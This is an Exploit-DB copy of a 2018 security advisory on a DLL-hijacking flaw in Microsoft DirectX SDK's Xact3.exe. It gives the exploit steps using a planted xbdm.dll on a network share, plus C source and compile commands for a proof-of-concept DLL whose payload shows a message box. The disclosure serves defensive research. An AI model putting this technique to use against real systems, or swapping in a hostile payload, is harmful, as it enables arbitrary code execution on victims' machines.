Microsoft DirectX SDK - 'Xact.exe' Remote Code Execution

EDB-ID:

45180

CVE:

N/A

Author:

hyp3rlinx

Type:

remote

Platform:

Windows

Published:

2018-08-13

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DIRECTX-SDK-XACT.EXE-TROJAN-FILE-CODE-EXECUTION.txt
[+] ISR: Apparition Security   
       
 
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Vendor
=============
www.microsoft.com


Product
===========
Microsoft DirectX SDK (June 2010) Xact3.exe
https://www.microsoft.com/en-us/download/details.aspx?id=6812

XACT (Cross-platform audio creation tool) is an audio creation and authoring tool from Microsoft.
It comes with a graphical interface that allows sound designers to create audio resources for games,
that can be integrated into XNA projects, offering the game developer a convenient way of accessing these sounds.


Vulnerability Type
===================
Remote Code Execution



CVE Reference
==============
N/A



Security Issue
================
Microsoft DirectX SDK "Xact3.exe" Cross-platform tool allows for arbitrary code execution via a Trojan horse file "xbdm.dll"
in the current working directory, upon opening a ".xap" project file from same location. 
The DirectX SDK deprecated but still avail for download at time of this writing ...



Exploit/POC
=============
1) create DLL 32bit DLL named "xbdm.dll" and place on a remote share

2) create an empty file with a ".xap" extension on the same share, this will open using "Xact3.exe" as its default

3) open the the .xap file from the Network share then BOOM!


#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 xbdm.c
gcc -shared -m32 -o xbdm.dll xbdm.o
*/

void executo(){
	 MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , "philbin " , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
	switch(fdwReason){
		case DLL_PROCESS_ATTACH:{
			 executo();
			break;
		}
		case DLL_PROCESS_DETACH:{
			 executo();
			break;
		}
		case DLL_THREAD_ATTACH:{
			 executo();
			break;
		}
		case DLL_THREAD_DETACH:{
			 executo();
			break;
		}
	}
	
	return TRUE;
}




Network Access
===============
Remote



Severity
=========
High



Disclosure Timeline
=============================
Vendor Notification: June 7, 2018
MSRC Case 45973 : June 13, 2018
MSRC : "While your finding is valid, we won’t service this issue because the legacy DirectX SDK is deprecated." : August 10, 2018
August 11, 2018 : Public Disclosure



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